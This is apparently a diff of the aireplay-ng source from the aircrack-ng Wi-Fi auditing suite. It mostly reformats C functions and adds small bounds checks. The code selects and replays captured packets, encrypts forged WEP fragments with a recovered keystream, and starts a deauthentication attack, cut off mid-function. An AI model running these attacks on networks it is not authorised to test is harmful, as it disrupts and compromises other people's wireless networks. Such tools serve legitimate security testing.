+			return -1;
+		}
+		if ((ap_chan != iface_chan)
+			&& (iface_chan != -1 || !opt.ignore_negative_one))
+		{
+			PCT;
+			printf("%s is on channel %d, but the AP uses channel %d\n",
+				   wi_get_ifname(wi),
+				   iface_chan,
+				   ap_chan);
+			return -1;
+		}
+	}
 
-    return 0;
+	return 0;
 }
 
-int getnet( unsigned char* capa, int filter, int force)
+static int getnet(unsigned char * capa, int filter, int force)
 {
-    unsigned char *bssid;
+	unsigned char * bssid;
 
-    if(opt.nodetect)
-        return 0;
+	if (opt.nodetect) return 0;
 
-    if(filter)
-        bssid = opt.f_bssid;
-    else
-        bssid = opt.r_bssid;
+	if (filter)
+		bssid = opt.f_bssid;
+	else
+		bssid = opt.r_bssid;
 
+	if (memcmp(bssid, NULL_MAC, 6))
+	{
+		PCT;
+		printf("Waiting for beacon frame (BSSID: "
+			   "%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
+			   bssid[0],
+			   bssid[1],
+			   bssid[2],
+			   bssid[3],
+			   bssid[4],
+			   bssid[5],
+			   wi_get_channel(_wi_in));
+	}
+	else if (strlen(opt.r_essid) > 0)
+	{
+		PCT;
+		printf("Waiting for beacon frame (ESSID: %s) on channel %d\n",
+			   opt.r_essid,
+			   wi_get_channel(_wi_in));
+	}
+	else if (force)
+	{
+		PCT;
+		if (filter)
+		{
+			printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
+		}
+		else
+		{
+			printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
+		}
+		return (1);
+	}
+	else
+		return 0;
 
-    if( memcmp(bssid, NULL_MAC, 6) )
-    {
-        PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
-                    bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in));
-    }
-    else if(strlen(opt.r_essid) > 0)
-    {
-        PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in));
-    }
-    else if(force)
-    {
-        PCT;
-        if(filter)
-        {
-            printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
-        }
-        else
-        {
-            printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
-        }
-        return( 1 );
-    }
-    else
-        return 0;
+	if (attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
+	{
+		if (memcmp(bssid, NULL_MAC, 6))
+		{
+			if (verifyssid((const unsigned char *) opt.r_essid) == 0)
+			{
+				printf("Please specify an ESSID (-e).\n");
+			}
+		}
 
-    if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
-    {
-        if(memcmp(bssid, NULL_MAC, 6))
-        {
-            if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
-            {
-                printf( "Please specify an ESSID (-e).\n" );
-            }
-        }
-
-        if(!memcmp(bssid, NULL_MAC, 6))
-        {
-            if(strlen(opt.r_essid) > 0)
-            {
-                printf( "Please specify a BSSID (-a).\n" );
-            }
-        }
-        return( 1 );
-    }
+		if (!memcmp(bssid, NULL_MAC, 6))
+		{
+			if (strlen(opt.r_essid) > 0)
+			{
+				printf("Please specify a BSSID (-a).\n");
+			}
+		}
+		return (1);
+	}
 
-    return 0;
+	return 0;
 }
 
-int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len)
+static int
+xor_keystream(unsigned char * ph80211, unsigned char * keystream, int len)
 {
-    int i=0;
+	int i = 0;
 
-    for (i=0; i<len; i++) {
-        ph80211[i] = ph80211[i] ^ keystream[i];
-    }
+	if (len <= 0 || len >= INT_MAX) return 0;
 
-    return 0;
+	for (i = 0; i < len; i++)
+	{
+		ph80211[i] = ph80211[i] ^ keystream[i];
+	}
+
+	return 0;
 }
 
-int capture_ask_packet( int *caplen, int just_grab )
+static int capture_ask_packet(int * caplen, int just_grab)
 {
-    time_t tr;
-    struct timeval tv;
-    struct tm *lt;
+	time_t tr;
+	struct timeval tv;
+	struct tm * lt;
 
-    fd_set rfds;
-    long nb_pkt_read;
-    int i, j, n, mi_b=0, mi_s=0, mi_d=0, mi_t=0, mi_r=0, is_wds=0, key_index_offset;
-    int ret, z;
+	fd_set rfds;
+	long nb_pkt_read;
+	int i, j, n, mi_b = 0, mi_s = 0, mi_d = 0, mi_t = 0, mi_r = 0, is_wds = 0,
+				 key_index_offset;
+	int ret, z;
 
-    FILE *f_cap_out;
-    struct pcap_file_header pfh_out;
-    struct pcap_pkthdr pkh;
+	FILE * f_cap_out;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
 
-    if( opt.f_minlen  < 0 ) opt.f_minlen  =   40;
-    if( opt.f_maxlen  < 0 ) opt.f_maxlen  = 1500;
-    if( opt.f_type    < 0 ) opt.f_type    =    2;
-    if( opt.f_subtype < 0 ) opt.f_subtype =    0;
-    if( opt.f_iswep   < 0 ) opt.f_iswep   =    1;
+	if (opt.f_minlen < 0) opt.f_minlen = 40;
+	if (opt.f_maxlen < 0) opt.f_maxlen = 1500;
+	if (opt.f_type < 0) opt.f_type = 2;
+	if (opt.f_subtype < 0) opt.f_subtype = 0;
+	if (opt.f_iswep < 0) opt.f_iswep = 1;
 
-    tr = time( NULL );
+	tr = time(NULL);
 
-    nb_pkt_read = 0;
+	nb_pkt_read = 0;
 
-    signal( SIGINT, SIG_DFL );
+	signal(SIGINT, SIG_DFL);
 
-    while( 1 )
-    {
-        if( time( NULL ) - tr > 0 )
-        {
-            tr = time( NULL );
-            printf( "\rRead %ld packets...\r", nb_pkt_read );
-            fflush( stdout );
-        }
-
-        if( opt.s_file == NULL )
-        {
-            FD_ZERO( &rfds );
-            FD_SET( dev.fd_in, &rfds );
-
-            tv.tv_sec  = 1;
-            tv.tv_usec = 0;
-
-            if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
-            {
-                if( errno == EINTR ) continue;
-                perror( "select failed" );
-                return( 1 );
-            }
-
-            if( ! FD_ISSET( dev.fd_in, &rfds ) )
-                continue;
-
-            gettimeofday( &tv, NULL );
-
-            *caplen = read_packet( h80211, sizeof( h80211 ), NULL );
-
-            if( *caplen  < 0 ) return( 1 );
-            if( *caplen == 0 ) continue;
-        }
-        else
-        {
-            /* there are no hidden backdoors in this source code */
-
-            n = sizeof( pkh );
-
-            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
-            {
-                printf( "\r\33[KEnd of file.\n" );
-                return( 1 );
-            }
-
-            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
-                SWAP32( pkh.caplen );
-                SWAP32( pkh.len );
-            }
-
-            tv.tv_sec  = pkh.tv_sec;
-            tv.tv_usec = pkh.tv_usec;
-
-            n = *caplen = pkh.caplen;
-
-            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
-            {
-                printf( "\r\33[KInvalid packet length %d.\n", n );
-                return( 1 );
-            }
-
-            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
-            {
-                printf( "\r\33[KEnd of file.\n" );
-                return( 1 );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
-            {
-                /* remove the prism header */
-
-                if( h80211[7] == 0x40 )
-                    n = 64;
-                else
-                    n = *(int *)( h80211 + 4 );
-
-                if( n < 8 || n >= (int) *caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, *caplen );
-                *caplen -= n;
-                memcpy( h80211, tmpbuf + n, *caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
-            {
-                /* remove the radiotap header */
-
-                n = *(unsigned short *)( h80211 + 2 );
-
-                if( n <= 0 || n >= (int) *caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, *caplen );
-                *caplen -= n;
-                memcpy( h80211, tmpbuf + n, *caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
-            {
-                /* remove the PPI header */
-
-                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-                if( n <= 0 || n>= (int) *caplen )
-                    continue;
-
-                /* for a while Kismet logged broken PPI headers */
-                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-                    n = 32;
-
-                if( n <= 0 || n>= (int) *caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, *caplen );
-                *caplen -= n;
-                memcpy( h80211, tmpbuf + n, *caplen );
-            }
-        }
-
-        nb_pkt_read++;
-
-        if( filter_packet( h80211, *caplen ) != 0 )
-            continue;
-
-        if(opt.fast)
-            break;
-
-        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-        if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-            z+=2;
-
-        switch( h80211[1] & 3 )
-        {
-            case  0: mi_b = 16; mi_s = 10; mi_d =  4; is_wds = 0; break;
-            case  1: mi_b =  4; mi_s = 10; mi_d = 16; is_wds = 0; break;
-            case  2: mi_b = 10; mi_s = 16; mi_d =  4; is_wds = 0; break;
-            case  3: mi_t = 10; mi_r =  4; mi_d = 16; mi_s = 24; is_wds = 1; break;  // WDS packet
-        }
-
-        printf( "\n\n        Size: %d, FromDS: %d, ToDS: %d",
-                *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );
-
-        if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
-        {
-//             if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33
-//             else key_index_offset = 27;
-            key_index_offset = z+3;
-
-            if( ( h80211[key_index_offset] & 0x20 ) == 0 )
-                printf( " (WEP)" );
-            else
-                printf( " (WPA)" );
-        }
-
-        printf( "\n\n" );
-
-        if (is_wds) {
-            printf( "        Transmitter  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                    h80211[mi_t    ], h80211[mi_t + 1],
-                    h80211[mi_t + 2], h80211[mi_t + 3],
-                    h80211[mi_t + 4], h80211[mi_t + 5] );
-
-            printf( "           Receiver  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                    h80211[mi_r    ], h80211[mi_r + 1],
-                    h80211[mi_r + 2], h80211[mi_r + 3],
-                    h80211[mi_r + 4], h80211[mi_r + 5] );
-        } else {
-            printf( "              BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                    h80211[mi_b    ], h80211[mi_b + 1],
-                    h80211[mi_b + 2], h80211[mi_b + 3],
-                    h80211[mi_b + 4], h80211[mi_b + 5] );
-        }
-
-        printf( "          Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                h80211[mi_d    ], h80211[mi_d + 1],
-                h80211[mi_d + 2], h80211[mi_d + 3],
-                h80211[mi_d + 4], h80211[mi_d + 5] );
-
-        printf( "         Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                h80211[mi_s    ], h80211[mi_s + 1],
-                h80211[mi_s + 2], h80211[mi_s + 3],
-                h80211[mi_s + 4], h80211[mi_s + 5] );
-
-        /* print a hex dump of the packet */
-
-        for( i = 0; i < *caplen; i++ )
-        {
-            if( ( i & 15 ) == 0 )
-            {
-                if( i == 224 )
-                {
-                    printf( "\n        --- CUT ---" );
-                    break;
-                }
-
-                printf( "\n        0x%04x:  ", i );
-            }
-
-            printf( "%02x", h80211[i] );
-
-            if( ( i & 1 ) != 0 )
-                printf( " " );
-
-            if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
-            {
-                for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
-                {
-                    printf( "  " );
-                    if( ( j & 1 ) != 0 )
-                        printf( " " );
-                }
-
-                printf( " " );
-
-                for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
-                    printf( "%c", ( h80211[i - 15 + j] <  32 ||
-                                    h80211[i - 15 + j] > 126 )
-                                  ? '.' : h80211[i - 15 + j] );
-            }
-
-            if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
-            {
-                printf( " " );
-
-                for( j = 0; j < 16; j++ )
-                    printf( "%c", ( h80211[i - 15 + j] <  32 ||
-                                    h80211[i - 15 + j] > 127 )
-                                  ? '.' : h80211[i - 15 + j] );
-            }
-        }
-
-        printf( "\n\nUse this packet ? " );
-        fflush( stdout );
-        ret=0;
-        while(!ret) ret = scanf( "%s", tmpbuf );
-        printf( "\n" );
+	while (1)
+	{
+		if (time(NULL) - tr > 0)
+		{
+			tr = time(NULL);
+			printf("\rRead %ld packets...\r", nb_pkt_read);
+			fflush(stdout);
+		}
 
-        if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
-            break;
-    }
+		if (opt.s_file == NULL)
+		{
+			FD_ZERO(&rfds);
+			FD_SET(dev.fd_in, &rfds);
 
-    if(!just_grab)
-    {
-        pfh_out.magic         = TCPDUMP_MAGIC;
-        pfh_out.version_major = PCAP_VERSION_MAJOR;
-        pfh_out.version_minor = PCAP_VERSION_MINOR;
-        pfh_out.thiszone      = 0;
-        pfh_out.sigfigs       = 0;
-        pfh_out.snaplen       = 65535;
-        pfh_out.linktype      = LINKTYPE_IEEE802_11;
-
-        lt = localtime( (const time_t *) &tv.tv_sec );
-
-        memset( strbuf, 0, sizeof( strbuf ) );
-        snprintf( strbuf,  sizeof( strbuf ) - 1,
-                "replay_src-%02d%02d-%02d%02d%02d.cap",
-                lt->tm_mon + 1, lt->tm_mday,
-                lt->tm_hour, lt->tm_min, lt->tm_sec );
-
-        printf( "Saving chosen packet in %s\n", strbuf );
-
-        if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
-        {
-            perror( "fopen failed" );
-            return( 1 );
-        }
-
-        n = sizeof( struct pcap_file_header );
-
-        if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
-        {
-        	fclose(f_cap_out);
-            perror( "fwrite failed\n" );
-            return( 1 );
-        }
-
-        pkh.tv_sec  = tv.tv_sec;
-        pkh.tv_usec = tv.tv_usec;
-        pkh.caplen  = *caplen;
-        pkh.len     = *caplen;
-
-        n = sizeof( pkh );
-
-        if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
-        {
-        	fclose(f_cap_out);
-            perror( "fwrite failed" );
-            return( 1 );
-        }
-
-        n = pkh.caplen;
-
-        if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
-        {
-        	fclose(f_cap_out);
-            perror( "fwrite failed" );
-            return( 1 );
-        }
+			tv.tv_sec = 1;
+			tv.tv_usec = 0;
 
-        fclose( f_cap_out );
-    }
+			if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+			{
+				if (errno == EINTR) continue;
+				perror("select failed");
+				return (1);
+			}
+
+			if (!FD_ISSET(dev.fd_in, &rfds)) continue;
+
+			gettimeofday(&tv, NULL);
+
+			*caplen = read_packet(h80211, sizeof(h80211), NULL);
+
+			if (*caplen < 0) return (1);
+			if (*caplen == 0) continue;
+		}
+		else
+		{
+			/* there are no hidden backdoors in this source code */
+
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("\r");
+				erase_line(0);
+				printf("End of file.\n");
+				return (1);
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			tv.tv_sec = pkh.tv_sec;
+			tv.tv_usec = pkh.tv_usec;
+
+			n = *caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
+			{
+				printf("\r");
+				erase_line(0);
+				printf("Invalid packet length %d.\n", n);
+				return (1);
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("\r");
+				erase_line(0);
+				printf("End of file.\n");
+				return (1);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				/* remove the prism header */
+
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4);
+
+				if (n < 8 || n >= (int) *caplen) continue;
+
+				memcpy(tmpbuf, h80211, *caplen);
+				*caplen -= n;
+				memcpy(h80211, tmpbuf + n, *caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) *caplen) continue;
+
+				memcpy(tmpbuf, h80211, *caplen);
+				*caplen -= n;
+				memcpy(h80211, tmpbuf + n, *caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) *caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) *caplen) continue;
+
+				memcpy(tmpbuf, h80211, *caplen);
+				*caplen -= n;
+				memcpy(h80211, tmpbuf + n, *caplen);
+			}
+		}
+
+		nb_pkt_read++;
+
+		if (filter_packet(h80211, *caplen) != 0) continue;
+
+		if (opt.fast) break;
 
-    return( 0 );
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
+		if ((h80211[0] & 0x80) == 0x80) /* QoS */
+			z += 2;
+
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				mi_b = 16;
+				mi_s = 10;
+				mi_d = 4;
+				is_wds = 0;
+				break;
+			case 1:
+				mi_b = 4;
+				mi_s = 10;
+				mi_d = 16;
+				is_wds = 0;
+				break;
+			case 2:
+				mi_b = 10;
+				mi_s = 16;
+				mi_d = 4;
+				is_wds = 0;
+				break;
+			case 3:
+				mi_t = 10;
+				mi_r = 4;
+				mi_d = 16;
+				mi_s = 24;
+				is_wds = 1;
+				break; // WDS packet
+		}
+
+		printf("\n\n        Size: %d, FromDS: %d, ToDS: %d",
+			   *caplen,
+			   (h80211[1] & 2) >> 1,
+			   (h80211[1] & 1));
+
+		if ((h80211[0] & 0x0C) == 8 && (h80211[1] & 0x40) != 0)
+		{
+			//             if (is_wds) key_index_offset = 33; // WDS packets
+			//             have an additional MAC, so the key index is at byte
+			//             33
+			//             else key_index_offset = 27;
+			key_index_offset = z + 3;
+
+			if ((h80211[key_index_offset] & 0x20) == 0)
+				printf(" (WEP)");
+			else
+				printf(" (WPA)");
+		}
+
+		printf("\n\n");
+
+		if (is_wds)
+		{
+			printf("        Transmitter  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+				   h80211[mi_t],
+				   h80211[mi_t + 1],
+				   h80211[mi_t + 2],
+				   h80211[mi_t + 3],
+				   h80211[mi_t + 4],
+				   h80211[mi_t + 5]);
+
+			printf("           Receiver  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+				   h80211[mi_r],
+				   h80211[mi_r + 1],
+				   h80211[mi_r + 2],
+				   h80211[mi_r + 3],
+				   h80211[mi_r + 4],
+				   h80211[mi_r + 5]);
+		}
+		else
+		{
+			printf("              BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+				   h80211[mi_b],
+				   h80211[mi_b + 1],
+				   h80211[mi_b + 2],
+				   h80211[mi_b + 3],
+				   h80211[mi_b + 4],
+				   h80211[mi_b + 5]);
+		}
+
+		printf("          Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   h80211[mi_d],
+			   h80211[mi_d + 1],
+			   h80211[mi_d + 2],
+			   h80211[mi_d + 3],
+			   h80211[mi_d + 4],
+			   h80211[mi_d + 5]);
+
+		printf("         Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   h80211[mi_s],
+			   h80211[mi_s + 1],
+			   h80211[mi_s + 2],
+			   h80211[mi_s + 3],
+			   h80211[mi_s + 4],
+			   h80211[mi_s + 5]);
+
+		/* print a hex dump of the packet */
+
+		for (i = 0; i < *caplen; i++)
+		{
+			if ((i & 15) == 0)
+			{
+				if (i == 224)
+				{
+					printf("\n        --- CUT ---");
+					break;
+				}
+
+				printf("\n        0x%04x:  ", i);
+			}
+
+			printf("%02x", h80211[i]);
+
+			if ((i & 1) != 0) printf(" ");
+
+			if (i == *caplen - 1 && ((i + 1) & 15) != 0)
+			{
+				for (j = ((i + 1) & 15); j < 16; j++)
+				{
+					printf("  ");
+					if ((j & 1) != 0) printf(" ");
+				}
+
+				printf(" ");
+
+				for (j = 16 - ((i + 1) & 15); j < 16; j++)
+					printf("%c",
+						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126)
+							   ? '.'
+							   : h80211[i - 15 + j]);
+			}
+
+			if (i > 0 && ((i + 1) & 15) == 0)
+			{
+				printf(" ");
+
+				for (j = 0; j < 16; j++)
+					printf("%c",
+						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127)
+							   ? '.'
+							   : h80211[i - 15 + j]);
+			}
+		}
+
+		printf("\n\nUse this packet ? ");
+		fflush(stdout);
+		ret = 0;
+		while (!ret) ret = scanf("%1s", tmpbuf);
+		printf("\n");
+
+		if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y') break;
+	}
+
+	if (!just_grab)
+	{
+		pfh_out.magic = TCPDUMP_MAGIC;
+		pfh_out.version_major = PCAP_VERSION_MAJOR;
+		pfh_out.version_minor = PCAP_VERSION_MINOR;
+		pfh_out.thiszone = 0;
+		pfh_out.sigfigs = 0;
+		pfh_out.snaplen = 65535;
+		pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+		lt = localtime((const time_t *) &tv.tv_sec);
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "replay_src-%02d%02d-%02d%02d%02d.cap",
+				 lt->tm_mon + 1,
+				 lt->tm_mday,
+				 lt->tm_hour,
+				 lt->tm_min,
+				 lt->tm_sec);
+
+		printf("Saving chosen packet in %s\n", strbuf);
+
+		if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			return (1);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+		{
+			fclose(f_cap_out);
+			perror("fwrite failed\n");
+			return (1);
+		}
+
+		pkh.tv_sec = tv.tv_sec;
+		pkh.tv_usec = tv.tv_usec;
+		pkh.caplen = *caplen;
+		pkh.len = *caplen;
+
+		n = sizeof(pkh);
+
+		if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+		{
+			fclose(f_cap_out);
+			perror("fwrite failed");
+			return (1);
+		}
+
+		n = pkh.caplen;
+
+		if (fwrite(h80211, n, 1, f_cap_out) != 1)
+		{
+			fclose(f_cap_out);
+			perror("fwrite failed");
+			return (1);
+		}
+
+		fclose(f_cap_out);
+	}
+
+	return (0);
 }
 
-int read_prga(unsigned char **dest, char *file)
+static int read_prga(unsigned char ** dest, char * file)
 {
-    FILE *f;
-    int size;
+	FILE * f;
+	int size;
 
-    if(file == NULL) return( 1 );
-    if(*dest == NULL) *dest = (unsigned char*) malloc(1501);
+	if (file == NULL) return (1);
+	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
 
-    f = fopen(file, "r");
+	f = fopen(file, "r");
 
-    if(f == NULL)
-    {
-         printf("Error opening %s\n", file);
-         return( 1 );
-    }
+	if (f == NULL)
+	{
+		printf("Error opening %s\n", file);
+		return (1);
+	}
 
-    fseek(f, 0, SEEK_END);
-    size = ftell(f);
-    rewind(f);
+	fseek(f, 0, SEEK_END);
+	size = ftell(f);
+	if (size == -1)
+	{
+		fclose(f);
+		fprintf(stderr, "ftell failed\n");
+		return (1);
+	}
+	rewind(f);
 
-    if(size > 1500) size = 1500;
+	if (size > 1500) size = 1500;
 
-    if( fread( (*dest), size, 1, f ) != 1 )
-    {
-    	fclose(f);
-        fprintf( stderr, "fread failed\n" );
-        return( 1 );
-    }
+	if (fread((*dest), size, 1, f) != 1)
+	{
+		fclose(f);
+		fprintf(stderr, "fread failed\n");
+		return (1);
+	}
 
-    opt.prgalen = size;
+	opt.prgalen = size;
 
-    fclose(f);
-    return( 0 );
+	fclose(f);
+	return (0);
 }
 
-void add_icv(unsigned char *input, int len, int offset)
+static void add_icv(unsigned char * input, int len, int offset)
 {
-    unsigned long crc = 0xFFFFFFFF;
-    int n=0;
+	unsigned long crc = 0xFFFFFFFF;
+	int n = 0;
 
-    for( n = offset; n < len; n++ )
-        crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);
+	for (n = offset; n < len; n++)
+		crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);
 
-    crc = ~crc;
+	crc = ~crc;
 
-    input[len]   = (crc      ) & 0xFF;
-    input[len+1] = (crc >>  8) & 0xFF;
-    input[len+2] = (crc >> 16) & 0xFF;
-    input[len+3] = (crc >> 24) & 0xFF;
+	input[len] = (crc) &0xFF;
+	input[len + 1] = (crc >> 8) & 0xFF;
+	input[len + 2] = (crc >> 16) & 0xFF;
+	input[len + 3] = (crc >> 24) & 0xFF;
 
-    return;
+	return;
 }
 
-void send_fragments(unsigned char *packet, int packet_len, unsigned char *iv, unsigned char *keystream, int fragsize, int ska)
+static void send_fragments(unsigned char * packet,
+						   int packet_len,
+						   unsigned char * iv,
+						   unsigned char * keystream,
+						   int fragsize,
+						   int ska)
 {
-    int t, u;
-    int data_size;
-    unsigned char frag[32+fragsize];
-    int pack_size;
-    int header_size=24;
+	int t, u;
+	int data_size;
+	unsigned char frag[32 + fragsize];
+	int pack_size;
+	int header_size = 24;
 
-    data_size = packet_len-header_size;
-    packet[23] = (rand() % 0xFF);
+	data_size = packet_len - header_size;
+	packet[23] = (rand() % 0xFF);
 
-    for (t=0; t+=fragsize;)
-    {
+	for (t = 0; t += fragsize;)
+	{
 
-    //Copy header
-        memcpy(frag, packet, header_size);
+		// Copy header
+		memcpy(frag, packet, header_size);
 
-    //Copy IV + KeyIndex
-        memcpy(frag+header_size, iv, 4);
+		// Copy IV + KeyIndex
+		memcpy(frag + header_size, iv, 4);
 
-    //Copy data
-        if(fragsize <= packet_len-(header_size+t-fragsize))
-            memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize);
-        else
-            memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize));
-
-    //Make ToDS frame
-        if(!ska)
-        {
-            frag[1] |= 1;
-            frag[1] &= 253;
-        }
-
-    //Set fragment bit
-        if (t< data_size) frag[1] |= 4;
-        if (t>=data_size) frag[1] &= 251;
-
-    //Fragment number
-        frag[22] = 0;
-        for (u=t; u-=fragsize;)
-        {
-            frag[22] += 1;
-        }
-//        frag[23] = 0;
-
-    //Calculate packet length
-        if(fragsize <= packet_len-(header_size+t-fragsize))
-            pack_size = header_size + 4 + fragsize;
-        else
-            pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize));
-
-    //Add ICV
-        add_icv(frag, pack_size, header_size + 4);
-        pack_size += 4;
-
-    //Encrypt
-        xor_keystream(frag + header_size + 4, keystream, fragsize+4);
-
-    //Send
-        send_packet(frag, pack_size);
-        if (t<data_size)usleep(100);
+		// Copy data
+		if (fragsize <= packet_len - (header_size + t - fragsize))
+			memcpy(frag + header_size + 4,
+				   packet + header_size + t - fragsize,
+				   fragsize);
+		else
+			memcpy(frag + header_size + 4,
+				   packet + header_size + t - fragsize,
+				   packet_len - (header_size + t - fragsize));
+
+		// Make ToDS frame
+		if (!ska)
+		{
+			frag[1] |= 1;
+			frag[1] &= 253;
+		}
 
-        if (t>=data_size) break;
-    }
+		// Set fragment bit
+		if (t < data_size) frag[1] |= 4;
+		if (t >= data_size) frag[1] &= 251;
+
+		// Fragment number
+		frag[22] = 0;
+		for (u = t; u -= fragsize;)
+		{
+			frag[22] += 1;
+		}
+		//        frag[23] = 0;
 
+		// Calculate packet length
+		if (fragsize <= packet_len - (header_size + t - fragsize))
+			pack_size = header_size + 4 + fragsize;
+		else
+			pack_size
+				= header_size + 4 + (packet_len - (header_size + t - fragsize));
+
+		// Add ICV
+		add_icv(frag, pack_size, header_size + 4);
+		pack_size += 4;
+
+		// Encrypt
+		xor_keystream(frag + header_size + 4, keystream, fragsize + 4);
+
+		// Send
+		send_packet(frag, pack_size);
+		if (t < data_size) usleep(100);
+
+		if (t >= data_size) break;
+	}
 }
 
-int do_attack_deauth( void )
+static int do_attack_deauth(void)
 {
-    int i, n;
-    int aacks, sacks, caplen;
-    struct timeval tv;
-    fd_set rfds;
+	int i, n;
+	int aacks, sacks, caplen;
+	struct timeval tv;
+	fd_set rfds;
 
-    if(getnet(NULL, 0, 1) != 0)
-        return 1;
+	if (getnet(NULL, 0, 1) != 0) return 1;
 
-    if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 )
-        printf( "NB: this attack is more effective when targeting\n"
-                "a connected wireless client (-c <client's mac>).\n" );
+	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
+		printf("NB: this attack is more effective when targeting\n"
+			   "a connected wireless client (-c <client's mac>).\n");
 
-    n = 0;
+	n = 0;
 
-    while( 1 )
-    {
-        if( opt.a_count > 0 && ++n > opt.a_count )
-            break;
+	while (1)
+	{
+		if (opt.a_count > 0 && ++n > opt.a_count) break;
 
-        usleep( 180000 );
+		usleep(180000);
 
-        if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 )
-        {
-            /* deauthenticate the target */
-
-            memcpy( h80211, DEAUTH_REQ, 26 );
-            memcpy( h80211 + 16, opt.r_bssid, 6 );
-
-            aacks = 0;
-            sacks = 0;
-            for( i = 0; i < 64; i++ )
-            {
-                if(i == 0)
-                {
